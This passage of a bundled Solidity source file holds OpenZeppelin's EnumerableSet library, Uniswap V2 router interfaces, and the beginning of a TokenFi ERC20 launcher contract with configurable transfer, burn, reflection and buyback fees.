the\n // underlying Set.\n // This means that we can only create new EnumerableSets for types that fit\n // in bytes32.\n\n struct Set {\n // Storage of set values\n bytes32[] _values;\n // Position of the value in the `values` array, plus 1 because index 0\n // means a value is not in the set.\n mapping(bytes32 => uint256) _indexes;\n }\n\n /**\n * @dev Add a value to a set. O(1).\n *\n * Returns true if the value was added to the set, that is if it was not\n * already present.\n */\n function _add(Set storage set, bytes32 value) private returns (bool) {\n if (!_contains(set, value)) {\n set._values.push(value);\n // The value is stored at length-1, but we add 1 to all indexes\n // and use 0 as a sentinel value\n set._indexes[value] = set._values.length;\n return true;\n } else {\n return false;\n }\n }\n\n /**\n * @dev Removes a value from a set. O(1).\n *\n * Returns true if the value was removed from the set, that is if it was\n * present.\n */\n function _remove(Set storage set, bytes32 value) private returns (bool) {\n // We read and store the value's index to prevent multiple reads from the same storage slot\n uint256 valueIndex = set._indexes[value];\n\n if (valueIndex != 0) {\n // Equivalent to contains(set, value)\n // To delete an element from the _values array in O(1), we swap the element to delete with the last one in\n // the array, and then remove the last element (sometimes called as 'swap and pop').\n // This modifies the order of the array, as noted in {at}.\n\n uint256 toDeleteIndex = valueIndex - 1;\n uint256 lastIndex = set._values.length - 1;\n\n if (lastIndex != toDeleteIndex) {\n bytes32 lastValue = set._values[lastIndex];\n\n // Move the last value to the index where the value to delete is\n set._values[toDeleteIndex] = lastValue;\n // Update the index for the moved value\n set._indexes[lastValue] = valueIndex; // Replace lastValue's index to valueIndex\n }\n\n // Delete the slot where the moved value was stored\n set._values.pop();\n\n // Delete the index for the deleted slot\n delete set._indexes[value];\n\n return true;\n } else {\n return false;\n }\n }\n\n /**\n * @dev Returns true if the value is in the set. O(1).\n */\n function _contains(Set storage set, bytes32 value) private view returns (bool) {\n return set._indexes[value] != 0;\n }\n\n /**\n * @dev Returns the number of values on the set. O(1).\n */\n function _length(Set storage set) private view returns (uint256) {\n return set._values.length;\n }\n\n /**\n * @dev Returns the value stored at position `index` in the set. O(1).\n *\n * Note that there are no guarantees on the ordering of values inside the\n * array, and it may change when more values are added or removed.\n *\n * Requirements:\n *\n * - `index` must be strictly less than {length}.\n */\n function _at(Set storage set, uint256 index) private view returns (bytes32) {\n return set._values[index];\n }\n\n /**\n * @dev Return the entire set in an array\n *\n * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed\n * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that\n * this function has an unbounded cost, and using it as part of a state-changing function may render the function\n * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.\n */\n function _values(Set storage set) private view returns (bytes32[] memory) {\n return set._values;\n }\n\n // Bytes32Set\n\n struct Bytes32Set {\n Set _inner;\n }\n\n /**\n * @dev Add a value to a set. O(1).\n *\n * Returns true if the value was added to the set, that is if it was not\n * already present.\n */\n function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {\n return _add(set._inner, value);\n }\n\n /**\n * @dev Removes a value from a set. O(1).\n *\n * Returns true if the value was removed from the set, that is if it was\n * present.\n */\n function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {\n return _remove(set._inner, value);\n }\n\n /**\n * @dev Returns true if the value is in the set. O(1).\n */\n function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {\n return _contains(set._inner, value);\n }\n\n /**\n * @dev Returns the number of values in the set. O(1).\n */\n function length(Bytes32Set storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n /**\n * @dev Returns the value stored at position `index` in the set. O(1).\n *\n * Note that there are no guarantees on the ordering of values inside the\n * array, and it may change when more values are added or removed.\n *\n * Requirements:\n *\n * - `index` must be strictly less than {length}.\n */\n function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {\n return _at(set._inner, index);\n }\n\n /**\n * @dev Return the entire set in an array\n *\n * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed\n * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that\n * this function has an unbounded cost, and using it as part of a state-changing function may render the function\n * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.\n */\n function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {\n bytes32[] memory store = _values(set._inner);\n bytes32[] memory result;\n\n /// @solidity memory-safe-assembly\n assembly {\n result := store\n }\n\n return result;\n }\n\n // AddressSet\n\n struct AddressSet {\n Set _inner;\n }\n\n /**\n * @dev Add a value to a set. O(1).\n *\n * Returns true if the value was added to the set, that is if it was not\n * already present.\n */\n function add(AddressSet storage set, address value) internal returns (bool) {\n return _add(set._inner, bytes32(uint256(uint160(value))));\n }\n\n /**\n * @dev Removes a value from a set. O(1).\n *\n * Returns true if the value was removed from the set, that is if it was\n * present.\n */\n function remove(AddressSet storage set, address value) internal returns (bool) {\n return _remove(set._inner, bytes32(uint256(uint160(value))));\n }\n\n /**\n * @dev Returns true if the value is in the set. O(1).\n */\n function contains(AddressSet storage set, address value) internal view returns (bool) {\n return _contains(set._inner, bytes32(uint256(uint160(value))));\n }\n\n /**\n * @dev Returns the number of values in the set. O(1).\n */\n function length(AddressSet storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n /**\n * @dev Returns the value stored at position `index` in the set. O(1).\n *\n * Note that there are no guarantees on the ordering of values inside the\n * array, and it may change when more values are added or removed.\n *\n * Requirements:\n *\n * - `index` must be strictly less than {length}.\n */\n function at(AddressSet storage set, uint256 index) internal view returns (address) {\n return address(uint160(uint256(_at(set._inner, index))));\n }\n\n /**\n * @dev Return the entire set in an array\n *\n * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed\n * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that\n * this function has an unbounded cost, and using it as part of a state-changing function may render the function\n * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.\n */\n function values(AddressSet storage set) internal view returns (address[] memory) {\n bytes32[] memory store = _values(set._inner);\n address[] memory result;\n\n /// @solidity memory-safe-assembly\n assembly {\n result := store\n }\n\n return result;\n }\n\n // UintSet\n\n struct UintSet {\n Set _inner;\n }\n\n /**\n * @dev Add a value to a set. O(1).\n *\n * Returns true if the value was added to the set, that is if it was not\n * already present.\n */\n function add(UintSet storage set, uint256 value) internal returns (bool) {\n return _add(set._inner, bytes32(value));\n }\n\n /**\n * @dev Removes a value from a set. O(1).\n *\n * Returns true if the value was removed from the set, that is if it was\n * present.\n */\n function remove(UintSet storage set, uint256 value) internal returns (bool) {\n return _remove(set._inner, bytes32(value));\n }\n\n /**\n * @dev Returns true if the value is in the set. O(1).\n */\n function contains(UintSet storage set, uint256 value) internal view returns (bool) {\n return _contains(set._inner, bytes32(value));\n }\n\n /**\n * @dev Returns the number of values in the set. O(1).\n */\n function length(UintSet storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n /**\n * @dev Returns the value stored at position `index` in the set. O(1).\n *\n * Note that there are no guarantees on the ordering of values inside the\n * array, and it may change when more values are added or removed.\n *\n * Requirements:\n *\n * - `index` must be strictly less than {length}.\n */\n function at(UintSet storage set, uint256 index) internal view returns (uint256) {\n return uint256(_at(set._inner, index));\n }\n\n /**\n * @dev Return the entire set in an array\n *\n * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed\n * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that\n * this function has an unbounded cost, and using it as part of a state-changing function may render the function\n * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.\n */\n function values(UintSet storage set) internal view returns (uint256[] memory) {\n bytes32[] memory store = _values(set._inner);\n uint256[] memory result;\n\n /// @solidity memory-safe-assembly\n assembly {\n result := store\n }\n\n return result;\n }\n}\n"
},
"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol": {
"content": "pragma solidity >=0.6.2;\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint amountADesired,\n uint amountBDesired,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB, uint liquidity);\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external payable returns (uint amountToken, uint amountETH, uint liquidity);\n function removeLiquidity(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB);\n function removeLiquidityETH(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountToken, uint amountETH);\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline,\n bool approveMax, uint8 v, bytes32 r, bytes32 s\n ) external returns (uint amountA, uint amountB);\n function removeLiquidityETHWithPermit(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax, uint8 v, bytes32 r, bytes32 s\n ) external returns (uint amountToken, uint amountETH);\n function swapExactTokensForTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n function swapTokensForExactTokens(\n uint amountOut,\n uint amountInMax,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)\n external\n payable\n returns (uint[] memory amounts);\n function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)\n external\n returns (uint[] memory amounts);\n function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)\n external\n returns (uint[] memory amounts);\n function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)\n external\n payable\n returns (uint[] memory amounts);\n\n function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);\n function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);\n function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);\n function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);\n function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);\n}\n"
},
"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol": {
"content": "pragma solidity >=0.6.2;\n\nimport './IUniswapV2Router01.sol';\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {\n function removeLiquidityETHSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountETH);\n function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax, uint8 v, bytes32 r, bytes32 s\n ) external returns (uint amountETH);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable;\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n"
},
"contracts/token-launcher/interfaces/IBuyBackHandler.sol": {
"content": "// SPDX-License-Identifier: MIT\r\npragma solidity 0.8.23;\r\n\r\nimport { ITokenLauncherLiquidityPoolFactory } from \"./ITokenLauncherLiquidityPoolFactory.sol\";\r\n\r\ninterface IBuyBackHandler {\r\n // solhint-disable-next-line\r\n function BUYBACK_CALLER_ROLE() external view returns (bytes32);\r\n\r\n function buyback(address treasury, ITokenLauncherLiquidityPoolFactory.BuyBackDetails memory buybackDetails) external;\r\n\r\n /**\r\n * @dev Grants `role` to `account`.\r\n *\r\n * If `account` had not been already granted `role`, emits a {RoleGranted}\r\n * event.\r\n *\r\n * Requirements:\r\n *\r\n * - the caller must have ``role``'s admin role.\r\n */\r\n function grantRole(bytes32 role, address account) external;\r\n}\r\n"
},
"contracts/token-launcher/interfaces/ITokenLauncherCommon.sol": {
"content": "// SPDX-License-Identifier: MIT\r\npragma solidity 0.8.23;\r\n\r\ninterface ITokenLauncherCommon {\r\n enum TokenType {\r\n ERC20,\r\n ERC721,\r\n ERC1155\r\n }\r\n\r\n enum PaymentMethod {\r\n NATIVE,\r\n USD,\r\n FLOKI\r\n }\r\n}\r\n"
},
"contracts/token-launcher/interfaces/ITokenLauncherERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\r\npragma solidity 0.8.23;\r\n\r\nimport { ITokenLauncherCommon } from \"./ITokenLauncherCommon.sol\";\r\n\r\ninterface ITokenLauncherERC20 is ITokenLauncherCommon {\r\n struct FeeDetails {\r\n uint256 percentage;\r\n bool onlyOnSwaps;\r\n }\r\n\r\n struct Fees {\r\n FeeDetails transferFee;\r\n FeeDetails burn;\r\n FeeDetails reflection;\r\n FeeDetails buyback;\r\n }\r\n\r\n struct CreateErc20Input {\r\n string name;\r\n string symbol;\r\n string logo;\r\n uint8 decimals;\r\n uint256 initialSupply;\r\n uint256 maxSupply;\r\n address treasury;\r\n address owner;\r\n address referrer;\r\n address tokenStore;\r\n Fees fees;\r\n address buybackHandler;\r\n PaymentMethod paymentMethod;\r\n }\r\n\r\n function tokenLauncherStore() external returns (address);\r\n\r\n function liquidityPoolFactory() external returns (address);\r\n\r\n function buybackHandler() external returns (address);\r\n\r\n function createErc20(CreateErc20Input memory input) external payable;\r\n}\r\n"
},
"contracts/token-launcher/interfaces/ITokenLauncherLiquidityPoolFactory.sol": {
"content": "// SPDX-License-Identifier: MIT\r\npragma solidity 0.8.23;\r\n\r\ninterface ITokenLauncherLiquidityPoolFactory {\r\n struct LiquidityPoolDetails {\r\n address sourceToken;\r\n address pairedToken;\r\n uint256 amountSourceToken;\r\n uint256 amountPairedToken;\r\n address routerAddress;\r\n }\r\n\r\n struct LockLPDetails {\r\n uint256 lockLPTokenPercentage;\r\n uint256 unlockTimestamp;\r\n address beneficiary;\r\n bool isVesting;\r\n }\r\n\r\n struct BuyBackDetails {\r\n address pairToken;\r\n address router;\r\n uint256 liquidityBasisPoints;\r\n uint256 priceImpactBasisPoints;\r\n }\r\n\r\n struct CreateV2Input {\r\n address owner;\r\n address treasury;\r\n LiquidityPoolDetails liquidityPoolDetails;\r\n LockLPDetails lockLPDetails;\r\n BuyBackDetails buybackDetails;\r\n }\r\n\r\n struct CreateV2Output {\r\n address liquidityPoolToken;\r\n uint256 liquidity;\r\n }\r\n\r\n function createV2LiquidityPool(CreateV2Input memory input) external payable returns (CreateV2Output memory);\r\n}\r\n"
},
"contracts/token-launcher/templates/TokenFiERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\r\npragma solidity 0.8.23;\r\n\r\nimport { AccessControl } from \"@openzeppelin/contracts/access/AccessControl.sol\";\r\nimport { ERC20, IERC20 } from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\r\nimport { SafeERC20 } from \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\r\nimport { EnumerableSet } from \"@openzeppelin/contracts/utils/structs/EnumerableSet.sol\";\r\nimport { IUniswapV2Router02 } from \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\";\r\n\r\nimport { ITokenLauncherERC20 } from \"../interfaces/ITokenLauncherERC20.sol\";\r\nimport { ITokenLauncherLiquidityPoolFactory } from \"../interfaces/ITokenLauncherLiquidityPoolFactory.sol\";\r\nimport { IBuyBackHandler } from \"../interfaces/IBuyBackHandler.sol\";\r\n\r\ncontract TokenFiERC20 is ERC20, AccessControl {\r\n using EnumerableSet for EnumerableSet.AddressSet;\r\n using SafeERC20 for IERC20;\r\n\r\n bytes32 public constant FEE_MANAGER_ROLE = keccak256(\"FEE_MANAGER_ROLE\");\r\n\r\n address public treasury;\r\n uint256 public maxSupply;\r\n string public logo;\r\n ITokenLauncherERC20.Fees public fees;\r\n ITokenLauncherLiquidityPoolFactory.BuyBackDetails public buybackDetails;\r\n address public buybackHandler;\r\n address public tokenLauncher;\r\n bool public isReflectionToken;\r\n uint8 private _decimals;\r\n\r\n address public constant BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;\r\n uint256 public constant MULTIPLIER_BASIS = 1e4;\r\n\r\n /// @dev The set of addresses exempt from tax.\r\n EnumerableSet.AddressSet private _exemptedFromTax;\r\n\r\n /// @dev Set of exchange pool addresses.\r\n EnumerableSet.AddressSet internal _exchangePools;\r\n\r\n /// @dev Set of Reflection variables\r\n uint256 public constant MAX = type(uint256).max / 2;\r\n\r\n mapping(address => uint256) private _rOwned;\r\n mapping(address => uint256) private _tOwned;\r\n\r\n mapping(address => bool) private _isExcludedFromReflectionRewards;\r\n address[] private _excluded;\r\n\r\n struct TotalReflection {\r\n uint256 t;\r\n uint256 r;\r\n uint256 tFee;\r\n }\r\n TotalReflection public totalReflection;\r\n\r\n event ExemptedAdded(address indexed account);\r\n event ExemptedRemoved(address indexed account);\r\n event ExchangePoolAdded(address indexed pool);\r\n event ExchangePoolRemoved(address indexed pool);\r\n event TokenLauncherUpdated(address indexed newTokenLauncher);\r\n event TransferTax(address indexed account, address indexed receiver, uint256 amount, string indexed taxType);\r\n event BuyBackDetailsUpdated(address indexed router, address indexed pairToken, uint256 liquidityBasisPoints, uint256 priceImpactBasisPoints);\r\n\r\n constructor(ITokenLauncherERC20.CreateErc20Input memory _input) ERC20(_input.name, _input.symbol) {\r\n require(_input.owner != address(0), \"TokenFiERC20: owner cannot be Address Zero \");\r\n require(_input.maxSupply >= _input.initialSupply, \"TokenFiERC20: initialSupply cannot be greater than maxSupply\");\r\n treasury = _input.treasury;\r\n maxSupply = _input.maxSupply;\r\n logo = _input.logo;\r\n _decimals = _input.decimals;\r\n uint256 maxFee = _input.fees.transferFee.percentage + _input.fees.burn.percentage + _input.fees.reflection.percentage + _input.fees.buyback.percentage;\r\n require(maxFee <= MULTIPLIER_BASIS, \"TokenFiERC20: fees sum must be less than 100%\");\r\n\r\n fees = _input.fees;\r\n buybackHandler = _input.buybackHandler;\r\n\r\n if (_input.fees.reflection.percentage > 0) {\r\n require(_input.initialSupply > 0, \"TokenFiERC20.constructor: initialSupply must be greater than 0\");\r\n totalReflection.r = (MAX - (MAX % _input.initialSupply));\r\n _rOwned[_input.treasury] = totalReflection.r;\r\n totalReflection.t = _input.initialSupply;\r\n _tOwned[_input.treasury] = _input.initialSupply;\r\n isReflectionToken = true;\r\n emit Transfer(address(0), _input.treasury, _input.initialSupply);\r\n } else {\r\n _mint(_input.treasury, _input.initialSupply);\r\n }\r\n\r\n // Exempt the buyback handler, treasury and burn address\r\n _exemptedFromTax.add(_input.buybackHandler);\r\n\r\n tokenLauncher = msg.sender;\r\n _grantRole(DEFAULT_ADMIN_ROLE, _input.owner);\r\n _grantRole(FEE_MANAGER_ROLE, tokenLauncher);\r\n _grantRole(DEFAULT_ADMIN_ROLE, _input.tokenStore);\r\n }\r\n\r\n function decimals() public view override returns (uint8) {\r\n return _decimals;\r\n }\r\n\r\n function setBuybackDetails(ITokenLauncherLiquidityPoolFactory.BuyBackDetails memory _buybackDetails) external onlyRole(FEE_MANAGER_ROLE) {\r\n if (fees.buyback.percentage > 0) {\r\n require(_buybackDetails.liquidityBasisPoints <= MULTIPLIER_BASIS, \"TokenFiERC20: liquidityBasisPoints must be less than 10,000\");\r\n require(_buybackDetails.priceImpactBasisPoints <= MULTIPLIER_BASIS, \"TokenFiERC20: priceImpactBasisPoints must be less than 10,000\");\r\n require(_buybackDetails.router != address(0), \"TokenFiERC20: router cannot be empty\");\r\n require(_buybackDetails.pairToken != address(0), \"TokenFiERC20: pairToken cannot be empty\");\r\n }\r\n buybackDetails = _buybackDetails;\r\n\r\n emit BuyBackDetailsUpdated(\r\n _buybackDetails.router,\r\n _buybackDetails.pairToken,\r\n _buybackDetails.liquidityBasisPoints,\r\n _buybackDetails.priceImpactBasisPoints\r\n );\r\n }\r\n\r\n function addExchangePool(address pool) external onlyRole(FEE_MANAGER_ROLE) {\r\n require(pool != address(0), \"TokenFiERC20: address cannot be empty\");\r\n _exchangePools.add(pool);\r\n emit ExchangePoolAdded(pool);\r\n }\r\n\r\n function addExemptAddress(address account) external onlyRole(FEE_MANAGER_ROLE) {\r\n _exemptedFromTax.add(account);\r\n emit ExemptedAdded(account);\r\n }\r\n\r\n function updateFees(ITokenLauncherERC20.Fees memory _fees) external onlyRole(DEFAULT_ADMIN_ROLE) {\r\n if (isReflectionToken) {\r\n require(_fees.reflection.percentage > 0, \"TokenFiERC20: reflection percentage must be non-zero\");\r\n } else {\r\n require(_fees.reflection.percentage == 0, \"TokenFiERC20: reflection percentage must be zero\");\r\n }\r\n uint256 maxFee = _fees.transferFee.percentage + _fees.burn.percentage + _fees.reflection.percentage + _fees.buyback.percentage;\r\n require(maxFee <= MULTIPLIER_BASIS, \"TokenFiERC20: fees sum must be less than 100%\");\r\n fees = _fees;\r\n }\r\n\r\n function isExemptedFromTax(address account) external view returns (bool) {\r\n return _exemptedFromTax.contains(account);\r\n }\r\n\r\n function isExchangePool(address pool) external view returns (bool) {\r\n return _exchangePools.contains(pool);\r\n }\r\n\r\n function balanceOf(address account) public view override returns (uint256) {\r\n if (isReflectionToken) {\r\n return _balanceOfReflection(account);\r\n }\r\n return super.balanceOf(account);\r\n }\r\n\r\n function totalSupply() public view override returns (uint256) {\r\n if (isReflectionToken) {\r\n return totalReflection.t;\r\n }\r\n return super.totalSupply();\r\n }\r\n\r\n /// @dev functions for Reflection\r\n\r\n function isExcludedFromReflectionRewards(address account) public view returns (bool) {\r\n return _isExcludedFromReflectionRewards[account] || account == address(this);\r\n }\r\n\r\n function reflect(uint256 tAmount) external onlyReflection {\r\n address sender = _msgSender();\r\n require(!isExcludedFromReflectionRewards(sender), \"Excluded addresses cannot call this function\");\r\n (uint256 rAmount, , , , ) = _getValues(tAmount, tAmount, false, true);\r\n _rOwned[sender] = _rOwned[sender] - rAmount;\r\n totalReflection.r = totalReflection.r - rAmount;\r\n totalReflection.tFee = totalReflection.tFee + tAmount;\r\n }\r\n\r\n function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns (uint256) {\r\n require(tAmount <= totalReflection.t, \"Amount must be less than supply\");\r\n if (!deductTransferFee) {\r\n (uint256 rAmount, , , , ) = _getValues(tAmount, tAmount, false, true);\r\n return rAmount;\r\n } else {\r\n (, uint256 rTransferAmount, , , ) = _getValues(tAmount, tAmount, false, true);\r\n return rTransferAmount;\r\n }\r\n }\r\n\r\n function tokenFromReflection(uint256 rAmount) public view returns (uint256) {\r\n require(rAmount <= totalReflection.r, \"Amount must be less than total reflections\");\r\n uint256 currentRate = _getRate();\r\n return rAmount / currentRate;\r\n }\r\n\r\n function excludeAccount(address account) external onlyReflection onlyFromAdminOrLauncher {\r\n require(!isExcludedFromReflectionRewards(account), \"Account is already excluded\");\r\n if (_rOwned[account] > 0) {\r\n _tOwned[account] = tokenFromReflection(_rOwned[account]);\r\n }\r\n _isExcludedFromReflectionRewards[account] = true;\r\n _excluded.push(account);\r\n }\r\n\r\n function includeAccount(address account) external onlyReflection onlyFromAdminOrLauncher {\r\n require(isExcludedFromReflectionRewards(account), \"Account is already included\");\r\n for (uint256 i = 0; i < _excluded.length; i++) {\r\n if (_excluded[i] == account) {\r\n uint256 currentRate = _getRate();\r\n totalReflection.r = totalReflection.r - _rOwned[account];\r\n _rOwned[account] = _tOwned[account] * currentRate;\r\n _tOwned[account] = 0;\r\n totalReflection.r = totalReflection.r + _rOwned[account];\r\n\r\n _isExcludedFromReflectionRewards[account] = false;\r\n _excluded[i] = _excluded[_excluded.length - 1];\r\n _excluded.pop();\r\n break;\r\n }\r\n }\r\n }\r\n\r\n function totalFees() public view returns (uint256) {\r\n return totalReflection.tFee;\r\n }\r\n\r\n function _balanceOfReflection(address account) private view returns (uint256) {\r\n if (isExcludedFromReflectionRewards(account)) return _tOwned[account];\r\n return tokenFromReflection(_rOwned[account]);\r\n }\r\n\r\n function _transferStandard(\r\n address sender,\r\n address recipient,\r\n // solhint-disable-next-line\r\n uint256 tAmount,\r\n // solhint-disable-next-line\r\n uint256 tTransferAmount,\r\n uint256 rAmount,\r\n uint256 rTransferAmount,\r\n bool shouldReflectFee\r\n ) private {\r\n _rOwned[sender] = _rOwned[sender] - rAmount;\r\n if (shouldReflectFee) {\r\n _rOwned[recipient] = _rOwned[recipient] + rTransferAmount;\r\n } else {\r\n _rOwned[recipient] = _rOwned[recipient] + rAmount;\r\n }\r\n }\r\n\r\n function _transferToExcluded(\r\n address sender,\r\n address recipient,\r\n uint256 tAmount,\r\n uint256 tTransferAmount,\r\n uint256 rAmount,\r\n uint256 rTransferAmount,\r\n bool shouldReflectFee\r\n ) private {\r\n _rOwned[sender] = _rOwned[sender] - rAmount;\r\n if (shouldReflectFee) {\r\n _tOwned[recipient] = _tOwned[recipient] + tTransferAmount;\r\n _rOwned[recipient] = _rOwned[recipient] + rTransferAmount;\r\n } else {\r\n _tOwned[recipient] = _tOwned[recipient] + tAmount;\r\n _rOwned[recipient] = _rOwned[recipient] + rAmount;\r\n }\r\n }\r\n\r\n function _transferFromExcluded(\r\n address sender,\r\n address recipient,\r\n uint256 tAmount,\r\n // solhint-disable-next-line\r\n uint256 tTransferAmount,\r\n uint256 rAmount,\r\n uint256 rTransferAmount,\r\n bool shouldReflectFee\r\n ) private {\r\n _tOwned[sender] = _tOwned[sender] - tAmount;\r\n _rOwned[sender] = _rOwned[sender] - rAmount;\r\n if (shouldReflectFee) {\r\n _rOwned[recipient] = _rOwned[recipient] + rTransferAmount;\r\n } else {\r\n _rOwned[recipient] = _rOwned[recipient] + rAmount;\r\n }\r\n }\r\n\r\n function _transferBothExcluded(\r\n address sender,\r\n address recipient,\r\n uint256 tAmount,\r\n uint256 tTransferAmount,\r\n uint256 rAmount,\r\n uint256 rTransferAmount,\r\n bool shouldReflectFee\r\n ) private {\r\n _tOwned[sender] = _tOwned[sender] - tAmount;\r\n _rOwned[sender] = _rOwned[sender] - rAmount;\r\n if (shouldReflectFee) {\r\n _tOwned[recipient] = _tOwned[recipient] + tTransferAmount;\r\n _rOwned[recipient] = _rOwned[recipient] + rTransferAmount;\r\n } else {\r\n _tOwned[recipient] = _tOwned[recipient] + tAmount;\r\n _rOwned[recipient] = _rOwned[recipient] + rAmount;\r\n }\r\n }\r\n\r\n function _reflectFee(uint256 rFee, uint256 tFee) private {\r\n totalReflection.r = totalReflection.r - rFee;\r\n totalReflection.tFee = totalReflection.tFee + tFee;\r\n }\r\n\r\n function _getValues(\r\n uint256 tAmount,\r\n uint256 tAmountOriginal,\r\n bool isSwap,\r\n bool shouldReflectFee\r\n ) private view returns (uint256, uint256, uint256, uint256, uint256) {\r\n (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount, tAmountOriginal, isSwap, shouldReflectFee);\r\n\r\n uint256 currentRate = _getRate();\r\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);\r\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);\r\n }\r\n\r\n function _getTValues(uint256 tAmount, uint256 tAmountOriginal, bool isSwap, bool shouldReflectFee) private view returns (uint256, uint256) {\r\n bool shouldReflect = (!fees.reflection.onlyOnSwaps || isSwap);\r\n if (!shouldReflect || !shouldReflectFee) return (tAmount, 0);\r\n uint256 tFee = (tAmountOriginal * fees.reflection.percentage) / MULTIPLIER_BASIS;\r\n uint256 tTransferAmount = tAmount - tFee;\r\n return (tTransferAmount, tFee);\r\n }\r\n\r\n function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {\r\n uint256 rAmount = tAmount * currentRate;\r\n uint256 rFee = tFee * currentRate;\r\n uint256 rTransferAmount = rAmount - rFee;\r\n return (rAmount, rTransferAmount, rFee);\r\n }\r\n\r\n function _getRate() private view returns (uint256) {\r\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\r\n return rSupply / tSupply;\r\n }\r\n\r\n function _getCurrentSupply() private view returns (uint256, uint256) {\r\n uint256 rSupply = totalReflection.r;\r\n uint256 tSupply = totalReflection.t;\r\n for (uint256 i = 0; i < _excluded.length; i++) {\r\n if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (totalReflection.r, totalReflection.t);\r\n rSupply = rSupply - _rOwned[_excluded[i]];\r\n tSupply = tSupply - _tOwned[_excluded[i]];\r\n }\r\n if (rSupply < totalReflection.r / totalReflection.t) return (totalReflection.r, totalReflection.t);\r\n return (rSupply, tSupply);\r\n }\r\n\r\n function removeExchangePool(address pool) external onlyRole(FEE_MANAGER_ROLE) {\r\n _exchangePools.remove(pool);\r\n emit ExchangePoolRemoved(pool);\r\n }\r\n\r\n function removeExemptAddress(address account) external onlyRole(FEE_MANAGER_ROLE) {\r\n _exemptedFromTax.remove(account);\r\n emit ExemptedRemoved(account);\r\n }\r\n\r\n function _transfer(address sender, address recipient, uint256 amount) internal virtual override {\r\n bool isSwap = _isSwap(sender, recipient);\r\n bool exemptedFromTax = _isExemptedFromTax(sender, recipient);\r\n uint256 originalAmount = amount;\r\n if (fees.transferFee.percentage > 0 && (!fees.transferFee.onlyOnSwaps || isSwap) && !exemptedFromTax) {\r\n uint256 transferFee = (originalAmount * fees.transferFee.percentage) / MULTIPLIER_BASIS;\r\n _transferInternal(sender, treasury, transferFee, originalAmount, false);\r\n amount -= transferFee;\r\n emit TransferTax(sender, treasury, transferFee, 